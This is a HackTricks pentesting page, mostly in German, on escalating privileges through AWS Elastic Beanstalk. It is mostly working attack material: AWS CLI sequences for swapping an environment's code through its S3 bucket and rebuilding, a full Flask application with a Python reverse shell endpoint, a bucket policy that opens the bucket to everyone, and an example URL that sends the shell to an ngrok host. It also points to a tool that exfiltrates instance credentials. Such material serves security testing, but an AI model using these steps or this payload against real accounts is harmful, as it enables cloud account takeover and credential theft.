AWS - Elastic Beanstalk Privesc

Unterstütze HackTricks

Elastic Beanstalk

Mehr Infos über Elastic Beanstalk in:

AWS - Elastic Beanstalk Enum

Um sensible Aktionen in Beanstalk durchzuführen, benötigst du viele sensible Berechtigungen in vielen verschiedenen Diensten. Du kannst zum Beispiel die Berechtigungen überprüfen, die arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk zugewiesen sind.

elasticbeanstalk:RebuildEnvironment, S3 Schreibberechtigungen & viele andere

Mit Schreibberechtigungen über den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen, um die Anwendung zu rebuilden (es werden elasticbeanstalk:RebuildEnvironment und einige weitere, die mit S3, EC2 und Cloudformation zu tun haben, benötigt), kannst du den Code modifizieren, die App neu aufbauen und beim nächsten Zugriff auf die App wird sie deinen neuen Code ausführen, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole und mehr...

Die genannten sowie mehrere S3, EC2, cloudformation, autoscaling und elasticloadbalancing Berechtigungen sind notwendig, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.

  • Erstellen Sie eine AWS Elastic Beanstalk-Anwendung:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Wenn eine Umgebung bereits erstellt wurde und Sie keine neue erstellen möchten, können Sie einfach die vorhandene aktualisieren.

  • Verpacken Sie Ihren Anwendungscode und die Abhängigkeiten in eine ZIP-Datei:

zip -r MyApp.zip .
  • Laden Sie die ZIP-Datei in einen S3-Bucket hoch:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Erstellen Sie eine AWS Elastic Beanstalk-Anwendungsversion:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Stellen Sie die Anwendungsversion in Ihrer AWS Elastic Beanstalk-Umgebung bereit:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Zuerst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer ausführen möchten, gemäß den vorherigen Schritten. Möglicherweise ein einfaches zip, das diese 2 Dateien enthält:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Sobald Sie Ihre eigene Beanstalk-Umgebung mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie Ihres Beanstalk-S3-Buckets aktualisieren, damit das Opfer darauf zugreifen kann (Beachten Sie, dass dies den Bucket für ALLE öffnet):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Unterstütze HackTricks

Last updated